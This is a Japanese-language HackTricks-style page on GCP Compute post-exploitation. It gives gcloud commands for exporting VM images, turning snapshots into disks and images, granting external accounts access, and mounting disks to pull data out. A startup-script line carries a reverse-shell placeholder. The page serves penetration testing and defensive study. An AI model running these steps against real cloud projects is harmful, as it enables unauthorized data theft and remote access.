# GCP - Compute Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Compute

For more information about Compute and VPC (Networking) check:

{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}

### Export & Inspect Images locally

イメージをローカルにエクスポートして検査する

これにより、攻撃者は **既存のイメージに含まれるデータへアクセス** したり、**稼働中のVMの新しいイメージを作成** して、そのVMにアクセス権がなくてもデータにアクセスすることが可能になります。

VMイメージをバケットにエクスポートし、それをダウンロードしてローカルにマウントすることが次のコマンドで可能です:

<details>

<summary>VMイメージをエクスポートしてダウンロード</summary>
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
</details>

この操作を実行するには、攻撃者はストレージバケットへの権限が必要な場合があり、そしてエクスポートを実行するよう要求される**cloudbuild に対する権限**が確実に必要です\
さらに、この動作を行うためには codebuild SA と compute SA に特権権限が必要です\
The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` には次の権限が必要です:

- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser

そして SA `<project-id>-compute@developer.gserviceaccount.com` には次が必要です:

- oles/compute.storageAdmin
- roles/storage.objectAdmin

### スナップショットとディスクをローカルにエクスポートして検査する

スナップショットやディスクを直接エクスポートすることはできませんが、**スナップショットをディスクに、ディスクをイメージに変換する**ことは可能で、**前のセクション**に従ってそのイメージをエクスポートしてローカルで検査できます

<details>

<summary>スナップショットからディスクを作成し、ディスクからイメージを作成する</summary>
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
</details>

### VM を作成して Image を検査する

攻撃者がimageを作成した元の場所から、**data stored in an image**または**running VM**内のデータにアクセスすることを目的として、外部アカウントにそのimageへのアクセスを付与することが可能です：

<details>

<summary>image へのアクセスを付与して VM を作成</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
</details>

そしてそれを使って新しい VM を作成します:

<details>

<summary>イメージから VM インスタンスを作成</summary>
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
</details>

外部アカウントにimageへのアクセスを与えられない場合、ターゲットのプロジェクトでそのimageを使ってVMを起動し、**メタデータにreverse shellを実行させる**ことでimageにアクセスできます。以下のパラメータを追加します:

<details>

<summary>メタデータでreverse shellを実行するVMを作成</summary>
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
</details>

### Inspect a Snapshot/Disk attaching it to a VM

アクセスすることを目的として**ディスクまたは snapshot に保存されているデータに対し、snapshot を disk に変換したり、disk を image に変換して前述の手順に従うことができます。**

または、disk に対して**外部アカウントにアクセス権を付与する**こともできます（開始点が snapshot の場合は snapshot に対してアクセスを付与するか、そこから disk を作成してください）:

<details>

<summary>disk へのアクセスを付与する</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
</details>

**ディスクをインスタンスにアタッチする**:

<details>

<summary>インスタンスにディスクをアタッチする</summary>
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
</details>

VM 内にディスクをマウントする:

1.  **VM に SSH で接続する**:

<details>

<summary>VM に SSH で接続してディスクをマウント</summary>

```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```

</details>

2.  **ディスクを識別する**: VM に入ったら、ディスクデバイスを一覧表示して新しいディスクを特定します。通常は `/dev/sdb`、`/dev/sdc` などとして見つかります。
3.  **ディスクをフォーマットしてマウントする**（新規または raw なディスクの場合）:

- マウントポイントを作成する:

<details>

<summary>マウントポイントの作成とマウント</summary>

```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```

</details>

- ディスクをマウントする:

<details>

<summary>ディスクデバイスをマウント</summary>

```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```

</details>

もし **スナップショットやディスクへのアクセスを外部プロジェクトに付与できない** 場合は、**スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらの操作を実行する必要があるかもしれません**。

{{#include ../../../banners/hacktricks-training.md}}
